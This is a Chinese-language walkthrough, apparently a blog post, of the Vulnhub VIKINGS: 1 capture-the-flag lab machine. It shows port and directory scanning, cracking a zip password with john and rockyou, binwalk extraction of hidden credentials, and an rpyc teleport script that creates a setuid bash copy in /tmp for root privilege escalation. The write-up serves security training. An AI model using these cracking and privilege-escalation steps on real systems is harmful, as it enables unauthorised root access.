Vulnhub-VIKINGS: 1

一、概要

靶机地址:192.168.56.105
攻击机地址:192.168.56.101
靶机下载地址:https://download.vulnhub.com/vikings/Vikings.ova
根据介绍,这是一台CTF类型的靶机,没有兔子洞,可以放心打

二、主机发现

arp-scan扫描一下局域网靶机的ip

三、信息收集

1、端口扫描

nmap脚本扫描一下

nmap -sS -A -T4 -p- 192.168.56.105

目标靶机开放了22端口ssh服务和80端口web服务

首先看一下web服务的内容

很简单的一个页面,就是一个目录

什么也没有

2、目录扫描

扫一下目录

使用gobuster扫描,指定字典/usr/share/dirb/wordlists/common.txt

默认的扫不出来什么东西,毕竟这是ctf机器

可以发现最后有一个war.txt文件

打开显示是一个目录

3、base64解码

打开这个目录是一大串base64编码

base64解码保存为一个文件,发现是个压缩包

curl http://192.168.56.105/site/war-is-over/ | base64 -d > test1

压缩包还有密码

4、密码爆破

爆破一下

fcrackzip爆不出来

使用zip2john先把压缩包信息提取出来

再用john指定rockyou.txt字典进行爆破

zip2john test1 > test2
john test2 --wordlist=/usr/share/wordlists/rockyou.txt

得到密码为ragnarok123

压缩包的内容是个图片

5、图片隐写

binwalk看一下是否有隐藏信息

binwalk -e king

里面还有个压缩包,压缩包里面是个user文件,内容是下面这样的

目测是一对账户密码

用户名:floki
密码:f@m0usboatbuilde7

四、渗透测试

1、ssh服务连接

ssh服务连接成功

2、关键信息

当前目录下有两个文件

原文:
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________


I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere. 
I need to create this `boat` to find Ragnar
译文:
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________

我是著名的造船师Floki。我们全力以赴地袭击了巴黎,但我们失败了。我们不知道战后Ragnar在哪里。他现在非常悲伤。我想向他道歉。
因为是我领导了所有的维京人。我需要找到他。他可以在任何地方。
我需要创造这艘“船”来找到Ragnar

原文:
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
译文:
#Printable字符是你的盟友。
#num = 第 29 个质数。
collatz-conjecture(num)

根据上面的信息我们可以了解到:

我们需要找到名为Ragnar的用户

然后他的密码可能就是下面这个num,但是num似乎是要用collatz-conjecture算出第29个质数(也就是109)

3、collatz猜想

网上有现成的小脚本,可以直接用

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

得到一串数字

4、解码(十进制转字符串)

使用这个网站进行解码比较好用

https://gchq.github.io/CyberChef/

十进制转字符串是这样的

109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1  

mR)|>^/Gky[gz=\.F#j5P(
这个应该就是密码了

5、第二个用户登录成功

ssh登录成功

python写一个交互式shell

然后查看一下当前目录文件

6、FirstBlood

user.txt得到第一个flag

查看其他文件寻找关键信息

.profile里面有root权限执行的命令

7、利用rpyc提权

很明显这个东西是可以进行远程控制的

我们直接写个脚本,让它主动连过来,就可以达到提权的效果了

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('rm /tmp/rootshell')
        os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
shell = conn.teleport(getshell)
shell()

直接运行脚本(注意使用python3)

/tmp目录下生成了rootshell文件

切换到/tmp目录下执行

./rootshell -p

拿到第二个flag

五、总结

1、目录扫描要灵活运用字典,尤其是这种CTF的靶机,默认字典大概率扫不出来什么东西
2、密码爆破可以使用fcrackzip,不行的话再去尝试zip2john和john字典爆破
3、binwalk善于查看图片等隐写内容
4、根据提示信息灵活编写和查找脚本以拿到关键信息
5、解码网站:https://gchq.github.io/CyberChef/
6、仔细查看当前用户的所有文件的信息,对sudo 等root权限操作敏感
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值